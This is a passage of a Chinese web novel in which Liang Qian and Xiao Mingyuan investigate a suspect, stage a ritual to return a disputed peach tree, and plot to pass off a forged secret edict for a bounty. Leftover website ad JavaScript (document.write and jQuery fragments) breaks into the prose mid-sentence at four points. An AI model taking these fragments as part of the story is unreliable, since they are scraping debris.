萧明渊见到她这样子,倚在门边笑着,见梁浅发现自己,才提起食盒往里面走进来。 梁浅看到吃的眼睛都亮了,赶紧将桌子收拾出来,让萧明渊将食盒里的菜一一端出来。 梁浅吃下第一口,嘟囔着,“不错不错,亏大人还记得我还在这里饿着,我以为我只有一会儿天黑去厨房摸些吃的了。” 萧明渊看着梁浅吃得这么高兴,自己也笑了起来,“小柳子跟着我办事辛苦了,我自然不会忘的。” 梁浅吃了一会儿,喝了口茶水才说道:“话说,这朝中究竟你的人有多少哇,怎么感觉处处都是丞相的人。” “嗯,不多,或者这样说,什么你的人我的人,都是陛下的人。” 梁浅轻笑,“你可真会说笑,我才不信你会没有完全准备就会回京,你呀,指不定还藏着多少事呢。”梁浅将桌子擦干净,将食盒递给萧明渊,开玩笑的说着,“好了好了,我要继续办事了,你快快退下吧,小渊子。” 见梁浅瞬间就将注意力又投入了记录之中,萧明渊离开时先给她点了灯,然后在梁浅的脑门上轻轻敲了一下,见梁浅摸着脑门有些生气的看着自己,萧明渊才笑着离开。 * 梁浅看了一晚上,才终于将箱子里面都看得差不多了,在天亮之前,竟然不知不觉的眯着了。 而萧明渊要去上朝前,先过来看了梁浅,见到她趴在桌子上睡着了,想到她定是熬了一夜,本来想将她抱到榻上去睡,又怕这样将她弄醒,便直接将客房中的被子拿过来盖在她身上,又拿了些吃食轻轻放在桌上。 萧明渊看着梁浅安静的睡着,心里感觉到暖暖的,这个人其实一直以来给自己的压力都太大了,萧明渊每天看到梁浅皱眉的次数比自己都多,仿佛时刻不敢放松,这个人要什么时候才能真正展颜一笑呢。 萧明渊忍不住轻轻在梁浅的脸上亲了一下,怕弄醒她,动作异常轻柔,亲了梁浅之后见她还在熟睡,萧明渊这才满意的离开。 萧明渊离开过了一会儿,梁浅也就醒了,梁浅伸伸懒腰,摸了下自己的脸颊,小声嘀咕着,“这户部的客房是都不熏香吗,怎么感觉有蚊子。” 梁浅还没有看清桌上的书册,周玉便走了进来,梁浅拢了拢自己身上的被子,然后和周玉打招呼,“周大人坐,周大人不用上朝吗?” 周玉进来朝梁浅行了礼,“我一芝麻官自然不用。”然后便先将桌上的灯拿起来吹灭才坐下。 此时天已经大亮,梁浅注意到周玉的动作,便顺口说道:“昨夜看得太晚,便迷迷糊糊睡着了,这烛火便随它亮着了。” 周玉笑着点了点头,“夫人劳累了,可有什么发现?” 听到这儿,梁浅睡意全无,立刻打起精神来,将自己昨夜誊录的记录递给周玉看,梁浅心里对这种不多说废话,一心工作的态度非常认可。 “你看看,我记录的这些有没有什么可疑的,箱子里还有两本,我马上就翻完了。” 于是两人都低头看起自己手中的书卷,当梁浅将最后一本看完的时候,周玉这边仿佛早就找到不寻常之处,在等着梁浅回应。 梁浅见周玉欲言又止的表情,便将看完的书册都移到一旁,“我这里都看完了,周大人有什么发现,直说就是。” 周玉用手指了指梁浅记录中的一个名字,梁浅说道:“王二?确实我在誊录的时候也觉得这个人有些可疑。 他在腊月二十进京,两日后便进了王家做工,若是投奔王家的亲戚,他完全可以进京后便直奔王家,为何又停了几日,先不说这人在冬日里进京赶路实在可疑,甚至在自家连年 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 都不过,光是他停的这两日,若没有投奔亲戚,京城的客栈,住一晚花的钱可不少啊。” 周玉原本只是低头边盯着记录边点了点头,听到梁浅说到最后,才抬起头来示意梁浅,“正是,除此之外,夫人看他记录的户籍。” 梁浅疑惑问道:“东渝?这我倒是看不出什么名堂,周大人别卖关子了,快讲快讲。” “听闻去年东渝的知县早早便上报,去年东渝粮食满仓,丰收在望,后来也未听说遇到什么灾害,既然如此,那这人作为寻常百姓,为何又要冬日冒险上京。 且据我所知,王尚书一家都是南阳人,府中一应信得过的重用的几位管事,也都是从老家带过来的,这人若是在王家没有说得上话的亲戚,又怎么会来投奔,当然,若是他有什么特别之处被王家看中也说不定。” “若是并不特别,那反而更可疑了。”梁浅看向周玉,周玉见到梁浅看向自己,忙别开目光,避免和梁浅对视。 梁浅没有在意,只是站起身来,朝外面走去,“走吧,去瞧瞧萧大人看了多少。” * 梁浅一进来,果然不出所料,自己昨日辛辛苦苦看了一夜,他居然才看了几册,梁浅看着桌上只写了几个名字,心想也难怪,又是主事大人请吃饭,又是要补觉上朝的,看得完才怪了呢。 突然梁浅一想到自己这么辛苦,他倒是清闲,便脱口而出,“切,我为什么要给他找借口。” 周玉跟在后面,见到梁浅拿着书册生气吓了一跳,梁浅注意到周玉的表情有些懵,便转身过来尴尬的冲着他笑,周玉不明所以,也跟着露出尴尬的笑容。 周玉先打破这尴尬的气氛,“萧大人这边其实大多已经是冬天之前的记录了,若夫人主要是要找去年冬天到最近的,那差不多也看完了。” 梁浅知道这人是在给萧明渊找补,叹了口气说道:“只是怕有遗漏,这样吧,周大人如今明面也是户部借过来的,我想请大人帮忙将接下来的记录查看誊录下来可好?正好也躲了那群找事的人嘛,且主事大人也不在,若是他们问到,你只管说是萧大人让你干的,这是萧府的腰牌,暂时借给你用,查完后到萧府找我。” 周玉点头应下,梁浅将腰牌递给周玉,然后又想到他在这里的处境,怕万一户部的人刁难,给他原来单位说说坏话,因为自己的安排扣了他的俸禄就不好了,于是便又拿了几两银子出来递给周玉。 “这是给周大人的工钱,辛苦周大人。”梁浅笑眯眯的递给周玉,周玉犹豫半晌,梁浅以为他不好意思,便又补充说道,“既然周大人都与我统一战线,那给周大人工钱是应该的,你就收下吧。” 梁浅直接将钱塞到了周玉的手里,周玉还是礼数周全的道谢,然后看向手中的银两,“多谢夫人,这里已经是我一月的俸禄了。” 梁浅顿了一下,然后笑着说,“在我这里混,自然不止这些,只些是我昨日出门带的,不然还得与你好好谈谈你今后的工钱不是?” 周玉也终于直视梁浅的眼睛,梁浅冲他肯定的点了点头。 28. 第二十八章·欢喜冤家 如今众多线索都指向疑犯还在王家,梁浅也暂时松了一口气,于是梁浅打算先回一趟萧府,何况萧府里还一堆事情没有处理。 梁浅回到卧房沐浴,换回女装后站在门口,看到院中空落落的,莫名觉得竟然也有一丝失落,正打算抬脚出门,却发现萧明汐刚刚走进了院门,与此同时,梁浅也看到距离萧明汐最近的那面墙上,无面正从对面翻了过来,看到这番情景,梁浅顿时瞪大了眼睛。 昨夜忙了一夜的无面,正骂骂咧咧的从一棵树上爬到墙上,打算悄悄翻到梁浅的院子里面,谁让自己的伤还没有好全,飞檐走壁也飞不起来,若是走正门,又怕旁人见到自己到侯夫人的院子里面引起误会。 这会儿萧明渊应该上朝去了,刚也听人说夫人回府了,看周围也没有什么事吧,应该万无一失,结果无面才爬上墙就傻眼了,昨日我不是见院子里有棵树,树呢,那自己怎么下去。 正在无面撅着屁股犹豫不决,不知道是跳还是退的时候,正打算来找梁浅的萧明汐也正好走到廊下,也是瞥见了有人挂在墙上,于是萧明汐大声惊呼,“是何人在此,快快束手就擒!” 无面本来就心惊胆战,听到萧明汐的声音,便吓得直接从墙上掉了下来,而萧明汐此刻看清了无面的样子,出于本能反应,想冲过去将无面接住,结果自然晚了一步,无面径直掉在了萧明汐面前的地上。 萧明汐低头看向无面,有些疑惑地问道:“无大哥,你不好好养伤,在这里做什么?” 无面捂着刚刚摔到的一只手,然后尴尬的回应,“额,我这是在锻炼嘛,在屋子里闷久了,出来透透气,想试试那棵树站不站得住我,结果不小心挂在墙上了。” 萧明汐心里并不相信无面这一套说辞,只是抱着手笑着哼了一声,“你最好是这样,无大哥,别是专门翻我哥哥嫂嫂的院子才好。”然后蹲下来靠近无面又说了一句,“且不要仗着我救命恩人的名号在府中招摇撞骗哦,很多事,你我都清楚不是?” 无面强挤出笑容点了点头,“那是那是。”然后继续抱着右手右脚坐在地上,好几次想自己靠墙爬起来却仿佛没有支点一样,又坐了下去。 萧明汐实在看不下去,就伸出了手想帮忙拉他起来,无面犹豫了片刻,也伸出了手,梁浅此时已经走到距离两人很近的地方了,此刻梁浅偷看到无面嘴角竟然有些强压的笑意。 无面拉住了萧明汐的手,萧明汐正想拉他起来,无面又像没有支点一样倒下了下去,这次也连带着萧明汐也跌了下去。 萧明汐有些生气的看着无面,无面忙解释道:“对不住对不住,小的刚刚没有扶好墙,手滑了一下,小姐没事吧。” 萧明汐眯了眯眼睛,又见无面在偷笑,强忍怒气,一时间计上心头,“无妨,不过无大哥不会是想像那日一样,还想要我帮无大哥换药擦身吧。” 萧明汐边说着,手便从无面的手中抽出来,放在了无面之前的伤处,果然计划奏效,无面一下子就脸红了,然后结结巴巴的说着,“那日其实是,二小姐让管家派过来照顾我的侍女嫌我身上都是在马圈待久的臭味,不愿意帮我,还得……还得……多谢二小姐。” 此时无面也不敢再看萧明汐,只是坐在地方仿佛又回忆起当时的情景,萧明汐也赶紧乘机抽出手站起来。 梁浅站在旁边看了半天的戏,见到无面这扭捏的样子终于看不下去,站在萧明汐身后咳嗽了两声,萧明汐听到后便转过身和梁浅笑眼盈盈地打招呼,只留无面一个人慢慢在墙边挣扎。 “明汐,找我有什么事吗?” “昨日我见府中搬树挖土什么的,进进出出的,便想来嫂嫂院中看看。” 梁浅笑着回道:“说是当地的什么神树,便又请回去了,对了,今日,我和明渊还要去这树下祈愿,你可要一同去。” 萧明汐摆了摆手,“既然如此,晚些我还要去马场,今日便不去了。” 梁浅点了点头,想了想又问道:“那明汐可有什么愿望,我帮你挂到树上。” 萧明汐想了想,便走进到梁浅耳边和梁浅说起了悄悄话,梁浅余光瞥见墙边的无面站起来好奇的看着这边,又看了看萧明汐,不禁失笑。 “还请嫂嫂一同将我的心愿带到,多谢嫂嫂,改日嫂嫂不忙了,我教嫂嫂挽弓射箭。” 见梁浅点了点头,萧明汐便和梁浅告别,走之前还望无面那边瞥了一眼,无面也赶紧低头行礼。 * 梁浅带无面进到房中,梁浅随房门开着,然后先问道无面,“你究竟和明汐是怎么卖惨的?怎么弄得她对你……” 无面眼睛乱转一番,“别乱说啊,这位夫人,我不过就是同她谈天说地,时不时逗逗她,其他的无非就是说我从小被买到柳府,吃不饱穿不暖之类的。”无面越说声音越小,脸也又红了起来。 梁浅见状,心里对于这个有用的刺客又想到了新的点子,更何况觉得看样子这对欢喜冤家还有得戏看,“东西呢?” 无面从怀里将信拿出来,放到梁浅面前的桌子上,“喏,给你,你也别耍花招,解药我要,钱我也要,你别想赖账。” 梁浅打开信封看了看,确认内容没有什么问题后,才笑着回应无面,“放心,少不了你的,还有我让你打听的人呢?” 无面耸耸肩,“这人挺简单的,家里就是一般的小商户,十几年寒窗苦读,终于混上了一官半职,如今在京的家中只有他和他母亲,过得挺清贫的。” “那他有没有接触什么人,比如丞相的人?” “应该没有,他的官职太低,怎么可能接触得到丞相,再说丞相那一府的谋士才子,那里看得见他。” 梁浅点了点头,然后开始思考接下来的计策,无面见她开始发呆,便打算开溜去马场,结果被梁浅叫住,“有个挣钱的差事,你干不干? (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ” 无面听到钱,便停下了脚步,转身走了回来,“做什么?你讲?” 梁浅见计划进展顺利,清了清嗓子开始说道:“无大人,在江湖上走南闯北这么多年,自然是见多识广,无所不知,无所不能的,听闻这易容之术也更是一绝,我说的可对?” 无面皱起眉头,他知道梁浅一般这样说八成没有什么易事,抱着手假装不在意的问:“少拍马屁了,有事直说。” “我之前院子里面那棵树,那县丞大人来要了回去,和我说是什么得道高人种下的,是他们的福树,为了避免我和萧明渊被当地的唾沫星子淹死,所以我便说我会将这树好好请回去,且我也认识一位得道高人,今日我便会将他请到树下去再为众人祈福。” 梁浅说完笑眯眯地看着无面,无面正拿着梁浅桌子上的一块糕点吃着,并不在意地问:“所以呢?” 无面忽而转头看着梁浅,“所以你的意思是你认识的得道高人是我?” 梁浅如同捣蒜般点着头,眼神真诚的看着无面,眼睛里面好像在说,对呀对呀,所以你会帮忙的对吧。 无面无奈的摇摇头,将手伸出来,示意梁浅给钱,“说好了,这是另外的价钱,我还得去置办乔装什么的,可能要晚些才过去。” “好的好的,没问题,那我就静待无面大师了?”梁浅拱手向无面行礼,然后将钱递给无面。 无面见她这样子,皱了皱眉,“别叫这个名字,无面听起来可不像大师。” “那叫无心?”梁浅把自己给说笑了,无面也无奈地笑着,“也不是不行。” * 无面走后,梁浅便请芸香让马房套了车在门口等自己,自己打算去接萧明渊下朝,顺便和他说树的事情,本来梁浅想等他的时候打发时间,只带上自己才随便缝了几针的荷包,芸香见状,先是把之前梁浅吩咐的钱安排上放上了马车,又去厨房提来了一大个食盒,里面装了不少好吃的。 “小姐若是怕姑爷生气,带些好吃的去才好哄呢。”芸香笑着将东西递了过去。 梁浅叹了叹气,从芸香手里接了过来,笑着和芸香道谢后,钻进了马车,梁浅皱着眉头看了看里面的东西,心想真有这么吓人吗,这件事他应该会理解的吧。 到了皇城脚下,梁浅只是将帘子掀起来,让外面的光照进来,好让自己看清自己这凌乱的针法,已经请芸香帮自己将花样画了上去,可是怎么感觉还是这么难,梁浅皱着眉头缝着荷包,忽而听到门口嘈杂了起来,便抬头看去。 只见官员三三两两的走了过来,梁浅眼睛都看花了,正在梁浅还在确定刚刚出来的人自己有没有看错的时候,萧明渊已经看到了自家马车,心中觉得惊喜万分,忙与同僚拜别然后朝马车这边跑过来,结果都到了眼前梁浅还伸着脖子朝另外一边焦急的望去,萧明渊不禁失笑,然后走进轻轻拉住梁浅的手,“娘子,我在这里。” 29. 第二十九章·哄人 梁浅转过头来,便见到萧明渊正看着自己,梁浅也笑着回握着他的手,然后趴在马车窗子边看着他说道:“嗯,这么一看,我家夫君真不一般,这气质,这样貌。” 萧明渊笑着用力捏了捏梁浅的手,然后将梁浅的脑袋轻轻推进马车里面,自己也走了进来,“说吧,有什么事?” 梁浅谄媚地笑了笑,然后将食盒递了过来,“夫君这说的是哪里的话,我这可是诚心诚意来接夫君的,要说有事,那也是好事嘛。” 萧明渊拿起一块糕点吃了起来,梁浅深知汇报工作的要点,要有起伏,心想万一他真的因为桃树的事情生气了,自己不会当场丢下车吧,早知道骑马来了,情况不对,直接就策马狂奔。 梁浅见萧明渊的心情好像还不错,才试探的说道:“夫君,你昨日出门后可有回过家中?” “未曾,怎么了?” 好吧,看样子他应该是不知道,月银万星想必也不敢禀报,只有让自己来了。 “那夫君,我和你说一件事情,先说好,你不可生气。” 萧明渊正余光看到外面的街道,发现既不是回萧府的路,也不是去大理寺的路,因此注意力都没有在梁浅这边,“嗯,你讲。” “昨日我在院中见到那桃树,心中甚是欣喜,还没有好好谢过夫君的一番心意呢。” 萧明渊有些得意的嗯了一声,梁浅又继续说道:“只不过我后来听说这树是当地的福树,心中愧疚万分呀。” “那人都是胡言乱语的,娘子不必忧心。” “可周围百姓的感受或者说评价不得不管不是?”梁浅见萧明渊眼睛眯了一下,好像意识到了什么,转过身来看着梁浅。 “这件事自从县令大人登门,就没有这么简单了,无论那树是不是百年古树真假与否也不重要了,只要周围的人,县令大人,以及在找我们把柄的人觉得是那便是,所以为了不留下把柄,我便将树送了回去。” 萧明渊皱了皱眉,眼看有些生气了,梁浅忙拉着他的手,尴尬的假笑着,“夫君夫君,我这也是为了我们好不是?” 梁浅边说边给萧明渊顺毛,见他在深呼吸,梁浅乘机伸手轻轻在他胸前给他顺气,全程保持着官方的假笑。 萧明渊还是有些赌气的说道:“可这树是我专门送给你的,你不是想要这树吗?” 梁浅下意识回了一句,“那也不能不分青红皂白,什么都不问,就挖人家树呀,你的好意我明白,可是也不是非要那颗一模一样的不是?”梁浅语气慢慢平和起来,“只要是你我都喜欢的不就好,或许我们可以重新一起栽下一棵,慢慢见证每年它的花瓣漫天飞舞,不也是很令人开心?” 看着萧明渊的脸色有些缓和,梁浅松一口气,又开始讲起道理,“你也知道,如今京城这么多眼睛盯着,若这件事情闹大,让有心之人做文章说你以权欺弱,蛮横霸道,那查案也好,官职也好,岂不是都会引起不必要的风波?” 梁浅自己心里想的话也不只这些,若是你丢了官职,之后付不起我的工资,那才是大事,梁浅心中对自己这个想法暗中肯定着。 萧明渊叹了口气,“嗯,我明白娘子的苦心,这件事也是我的不对。” 梁浅打趣道:“不是你和万星你们二人听错话闹出的笑话?” 萧明渊也争论起来,“那也是我让他去做的,你可别怪他身上,他为这事也是劳心劳力。” 梁浅笑着摇了摇头,“不会不会,而且万事我都安排好了,我们先在就去把树还回去。” “我们?娘子,你这可是先斩后奏,将我绑去演戏啊。”梁浅敏锐地感觉到萧明渊说话突然有些阴阳怪气的。 梁浅转移着话题,示意萧明渊继续吃东西,“萧大人多吃点多吃点。” 见萧明渊不为所动,开始翻起了常放在马车里面的一本书,梁浅心中暗暗吐槽,这个人有时候是真的小气,也不知道怎么的又生气了,自己还得有事要做,只有忍了。 看到一旁的半成品荷包,梁浅心生一计,萧明渊这个人说聪明,但是在感情上还是挺直接的,不太会隐藏自己的心思,梁浅刚刚就看到,自己靠近他的时候,他分明在偷笑,触碰他的时候,他还有些脸红,话说他这些年在外当大将军,除了和柳烟晴的书信之外,就没有和别人交往过?这都会脸红。 梁浅乱七八糟的想一些,为了让他一会儿好好配合,还是得把他心情哄好了。 于是梁浅假装将荷包掉下去,自己则装作很慌张的样子,打算弯腰去捡起来,萧明渊果然上当了,眼疾手快的一把拿了起来。 “还给我,这是我的。” “就不就不,这是什么?”两人在狭窄的马车里争抢起来,梁浅装作柔弱的样子一直没有抢到。 萧明渊看着手中的荷包,眨了眨眼睛,“这是给我的?” 梁浅点了点头,这次反过来梁浅故作生气的说道:“唉,本来想绣好再给你看的。” 萧明渊于是像犯错的小孩一样,乖乖的递了过来,“那就绣好再给我吧。” 梁浅拿回东西,一脸一切尽在掌握的自信表情。 * 梁浅一下马车,便见到万星和县令大人已经将场地都布置非常专业了,树也一模一样的栽了回去,甚至旁边还又栽了两颗小树,梁浅对于万星的工作能力还是非常认可的。 县令大人恭敬的走上前来迎接二人,表情显然已经没有那日那般严肃了,“见过大人,夫人。” 二人回礼后,萧明渊便和县令大人寒暄了起来,万星乘机走到梁浅身边,“夫人,万事俱备,只不过夫人请的得道高人还未到。” 梁浅淡定的说着,“嗯,他过一会儿应该就到了,你先去帮芸香将马车上的箱子搬下来,将东西拿出来跟在我们身后。” 然后梁浅便走了过来打断了萧明渊和县令大人的对话,现在得拖延时间等无面来,“县令大人, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 昨日我便和大人说过,要向周围的住户道声不是,还请县令大人带路。” 县令大人尴尬地笑着点头,梁浅便拉着萧明渊走,萧明渊虽然有些不明所以,但还是跟在梁浅后面,怕破坏梁浅的计划,便忍住什么都不问不说。 梁浅今日这个阵仗,就已经引得不少人都围了过来看热闹,此时见梁浅带着萧明渊一家一户拜访,对之前有意见的人家毕恭毕敬,走之前还拿了都拿了钱过去。 “这样看来,貌似萧侯爷没有之前传的那么蛮横霸道嘛,这萧夫人瞧着也不是什么恃宠而骄的人呢。” “就是,你看你看,还拿了钱,嗐,早知道我也闹了。” “哎,你不懂,你以为这拿了钱是好事啊?” “这钱也不少,白拿钱当然是好事。” “这家这位萧夫人啊,不简单,这些人家这钱一拿,便是吃人嘴短,拿人手短了,这些人家既不能在这件事上再闹什么,让萧家得了好名声,又能让他们记住,萧府的威势,原来坊间传闻萧家势微,如今便是告诉众人,萧家既有钱又有名声,还有权势。” 众人七嘴八舌的讨论着,这也正是梁浅想要的效果。 这边差不多忙完,人群背后传来一声优哉游哉的男声,让众人让开一条路。 梁浅一行人往那边看去,是一位“老者”牵着一头毛驴走了过来,身上还吊着一个葫芦,头上带着一个草帽,摸着自己的胡子,慢悠悠的走过来。 梁浅忍住笑转过身去示意万星,万星忙带人上去迎接。 一切都顺利的开展了起来,无面倒是演的像模像样,萧明渊站在梁浅身边,看着正在“作法”的大师皱了皱眉,“我是不是在哪里见过这位大师?” “嗯,或许吧,你们有缘,所以有过一面之缘?”梁浅胡编了一些,萧明渊似懂非懂般点了点头。 在无面的表演结束后,梁浅还安排了一个环节,就是在红带上写上自己美好的祝愿,挂到树上,不仅红带梁浅提前和芸香万星说了,而且还专门摆上了一个摊子用来写字。 “你要写什么?”梁浅和萧明渊站在一起,想偷看他的红带。 萧明渊轻轻偏过身子挡住自己的字迹,不让梁浅看到,梁浅小声切了一声,也转过身藏起来不让他看。 * 梁浅想挂在高处,可是自己身高不够,加上这里人太多,也不能暴露自己的武功,所以有些犹豫的看着桃树,要不就挂这里? 萧明渊正打算上前挂上自己的,见到梁浅犹豫的样子,便将手伸出来想接梁浅的红带,“我帮你挂吧。” “不要,我要自己挂……我是怕万一你偷看我的。” “那我的先给你看,你的也给我看可好?” “那我也要自己挂。” 梁浅正打算走上前去就在目光所及之处挂上,结果萧明渊一把将她抱了起来放在了自己的肩膀上,然后将自己的也递给她,“那你帮我挂。” 30. 第三十章·任务即将完成 梁浅接过萧明渊递过来的红带子,然后展开看了一眼,上面写着,“国泰民安”,梁浅心中暗自吐槽,居然写得这么官方,于是伸手系了上去,结果系的时候才发现红带的另外一边,写着“愿年年岁岁似今朝”。 接下来梁浅才是系自己的和萧明汐的,系好之后,梁浅微微弯腰低头,“都系好了,放我下来吧。” 萧明渊将梁浅轻轻放了下来,才站起身朝刚刚梁浅系的地方看去,“你为何写了这么多?” 梁浅微微皱眉,“多吗?也就两个。” 梁浅才说完,无面就得意洋洋地抱着一大把从旁边走了过去,挨着挨着的挂了起来,梁浅朝萧明渊笑着耸耸肩,“多吗?”萧明渊也跟着无奈地笑了。 两人一转身便见到周围人都买好红带子在一旁写了起来,梁浅朝刚刚写字的桌边一看,原本这红带梁浅是打算免费送给大家写的,结果无面一点机会都不放过,将芸香手里的红带子都买了过来,一半自己都卖出去,一半自己在一旁写好跑过来挂了起来。 正是梁浅和萧明渊在挂自己的红带的时候,无面就已经完成买入,卖出写好等基本步骤了,见周围百姓对花钱买红带子这件事情并没有觉得有异样,梁浅这才无奈地摇了摇头。 等无面挂好,梁浅这才问道:“无大师不是都退隐江湖,无欲无求了嘛,怎又挂了这么多?” “咳咳,我这都是帮别人挂的,不可以?本大师这就叫不渡己身,只渡他人。”无面说完便摸着自己的胡子悄悄离开了,梁浅看着他牵着小毛驴逐渐远去的背景,忍不住笑了,心想他这倒确实很符合今天的人设,果然专业的就是不一般。 * 在马车上,萧明渊又好奇地问起了梁浅,“你挂了两条,到底许的什么愿?” 梁浅对于萧明渊突然而来的这种八卦之魂感到有些诧异,只是撑着手看着窗外,“怎么,难不成你知道了能帮我实现?” 萧明渊听到此话,坐正了起来,“嗯,说不定呢?” “切,我才不信,那我写的是我要暴富,暴富,你能实现吗?” “萧府不说京城第一,但是也算满足你说的暴富了吧。” “萧府的钱,又不是我的钱。”说到这里,梁浅脑子里突然想到一个主意,“话说我现在也是萧府的夫人了,怎么不见你将府中的管事权交给我,这样萧府的钱不就是我的钱……不,我们的钱?” 萧明渊只是笑着偏过头去,“不论给不给你这管事权,府中上下不是都听你的,你要支钱什么的不是二话不说都给你。” “嗯,最好是这样,之前都在传你还养了个小娘子在府中的时候,府中众人明里暗里可没给我好脸,虽然我也并不在意他人言语之类的,可是这钱不握在自己手中,始终感觉不是自己的,心里不踏实,你说是吧。”梁浅非常清楚萧明渊这是开始画饼打太极,这些什么听谁的都是不实际的,自己支了钱,不出半个时辰,最后不是还要报到他这里,难不成看来自己的各种动静他也很清楚? “你身子向来都不好,这些事情还是不要劳累,好生休养才是。”萧明渊说完便闭目养神了起来。 看着萧明渊这样子,梁浅心中暗想,看来想“借”点他萧府的钱做自己的事情还挺难,萧明渊这人想必府中账目除了明面上的,还有很多见不得人的,所以才不愿让自己参与吧。 梁浅安慰起自己来,也好,不参与太深,以后才好脱身。 “还有件事,我在户部的记录中查到了一个人,感觉很有嫌疑……看样子这几日月银不在,你是将他派去看着王家了吧。”见梁浅恍然大悟的样子,萧明渊这才又睁眼,将视线重新拉回到梁浅身上。 “好,娘子辛苦了,这个人我们会重点看着,他杀了人无论如何是要离开王家离开京城的,这几日丞相的人在王家,我们不好去探查,且没有实际的能对应上的证据和口供,哪怕去了,丞相那边也定是要将我们驳回来的。”萧明渊回应道。 “那便是要找一个既不会被盯在外面的月银他们发现可疑之处,又能在丞相势力帮助下浑水摸鱼离开的时机,便是……王尚书出殡的日子?哪天你知道吗?” “明日。”萧明渊喝下一口茶只说出两个字来。 梁浅一脸惊讶,这丞相一行人未免也太着急了,“明日?原来他们这么着急。”梁浅冷笑一声。 梁浅往外看了一眼便匆忙的说道:“好了好了,就在这里停。” 马车停定,梁浅又转过来对萧明渊说:“还有一件重要的事情,如今暂时被户部借过来的八品官周玉,我看挺不错的,勤勉有加,任劳任怨,且并非那些迂腐的文官,消息也还灵通,这次王家的疑犯也是他发现的,他也来向我自荐。 萧大人如今回京,我相信你在武将这边或许势力比丞相稍强,也有陛下的暗中助力,可如今回京可是文臣的天下,明争暗斗,党派林立,何不就从他开始?” 萧明渊看向梁浅,半晌没有说话,梁浅耸了耸肩,当做他已经默认了,自己收拾好东西,还将箱子里面剩下的钱都装走了。 “这些就当我这今天的酬劳了,我还想……逛一会儿,你先去忙你的吧。”梁浅拿起钱袋子在萧明渊前面晃了晃,然后便下了马车。 萧明渊掀开车帘,看向梁浅,梁浅带起面纱,见萧明渊看着自己,就非常自然的挥手再见,萧明渊看着她也不自觉地伸出了手学她的样子和她挥手道别。 * 而梁浅来的这个地方,只是一家看上去寂寂无名的客栈,梁浅在刚刚就让芸香跟着万星一同回到萧府,一方面是为了让她在萧府等周玉的消息,另一个方面是为了让自己能顺理成章的一个人来到这个客栈。 梁浅进来便径直走向了厨房,正在灶上忙得火热的厨娘便是梁浅的师父离情,那日梁浅昏睡后,她给梁浅留下了自己在此处做厨师的暗语便离开了,此时梁浅也是准备好了一切才来到此处找师父。 见师父正忙得火热,梁浅便将手中的东西放在身后的桌子下,赶紧上前 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 来帮忙,离情见到梁浅来了,与梁浅心照不宣的对视后,便笑着继续炒菜。 梁浅先拿起自己的手帕给师父擦汗,然后便过来帮师父配菜切菜,梁浅在做饭这方面实在没有什么天赋,从来都是只要能弄熟就能吃,现代的时候,自己常常为了能多学习一会儿,做饭都是能怎么快吃到就怎么快,后来穿越到这里,又经历了一段颠沛流离的生活,对于吃的要求更没有什么了,有吃的就行。 所以梁浅以前在家中也只是帮师父打打下手,离情做菜一直都好吃,当年在山上,师兄师妹都很喜欢,虽然后来多次想将这个技艺教给梁浅,但是梁浅不是把水烧干,就是把菜炒糊,总之没有将她的厨房烧了,离情就谢天谢地了,在看到梁浅吃着烧糊的菜也吃得津津有味的时候,她就全然放弃想让这人在这方面出师的想法。 “呼,到了饭点,一下子来了些人,这才忙了起来,这下点的菜都上了,暂时应该不会要了,若是要加菜,小唐应该行。”离情将围腰脱了下来,然后朝对面切菜切得飞快的另一位年轻的厨娘说道,“小唐,这里就交给你啦,我干女儿来找我了,我出去一会儿。” “得嘞,晴姐你去忙,这里有我。”小唐边备菜边回应道。 离情拉着梁浅出来,径直往楼上的一个小的雅间走去,梁浅乖巧地跟在后面。 * 离情关上门便转身拉着梁浅看了又看,“能看懂我留下的暗语,说明已经想起不少了是吧,快来我瞧瞧瘦没有,那日都没有仔细看看。” 梁浅无奈地叹叹气,随她看着,“放心吧,虽然还有些事情细节还没有想起来,但是我的亲亲师父我自然是记起来了的,这不就来了。” 梁浅拉着离情过来坐下,给她倒上茶水,安慰的拉着她的手。 “原是我的错,就不该让你一人冒险入萧府,往常都是你我一起行动的,这次也是我一时疏忽,才致使你着了他人的道。” “师父,你别这样怪自己,这件事本来就是我提出的,我要独自完成的,如今还得求助师父,让师父劳累,是我的不是才对。”梁浅朝离情撒娇道。 离情笑着点了点头,梁浅见师父终于眉头舒展,自己才放松许多,“好啦,如今师父更应该关心我这件事做得怎么样了不是?” “嗯,讲讲吧,有什么进展,我需要做些什么?”离情认真的看着梁浅。 梁浅将信拿出来,展开递给离情,“师父,这便是‘密诏’,只需要再来一道工序,我们便可以交差了。” 离情接过信,看了看信的内容,然后将信小心折好放到信封中,“阿浅,你是说,这便是密诏?” 梁浅点了点头,“我们说它是,它便是,如今我将此物交与师父,还请师父将这信做旧,比如在花盆里埋上几日,然后再在箱子下压个一日,等这信做旧许多之后,再去换取赏金。” 离情点了点头,“我明白了,可是阿浅你这样讲,意思是不是这并非真的密诏,我们如今这是伪造一个密诏出来?” 31. 第三十一章·未来的计划 “确如师父所料,这并非真正的密诏,可师父,那发出赏金之人也从未说过密诏是何物不是吗?”梁浅认真严肃地分析起来。 离情点了点头,“确实如此,这段时间,一直有人拿着东西去领赏,书信诏书内容各异,貌似都不是,赏金榜上这件事始终挂着。” “上次半路打晕我抢走‘密诏’之人,因为是先帝字迹,那人便认为那便是密诏,实际内容是多年前先帝帮萧家写的婚书,由此可见,这些武林高手也不知道密诏的内容,况且如今根据我了解到的,我大致猜到了这发布赏金的背后之人。” “可我们向来做事只问钱财,不问来人的,阿浅,你这样会不会陷进去,我怕……” “师父,以前确实交人交物给钱就行,可是这件事没有我们以前接到的任务那么简单,我们如今不仅必须要拿到赏金,还得为未来打算。 平州,我们可能回不去了,如今那里不仅有柳家,随时有可能会暴露我们的身份,还可能引起官府怀疑,问我们为何我们进京寻亲这么快便回去,既没有带回钱也没有带回人这必然引起他人怀疑。 更何况这件事,我已经不能轻易脱身了,且不说许多人已经以柳烟晴的身份认识了我,就说萧明渊那里,我若直接逃脱,当他得知我的真实身份和目的,得知我很有可能帮了他的对手一起害萧府,想必也是不会放过我的。” 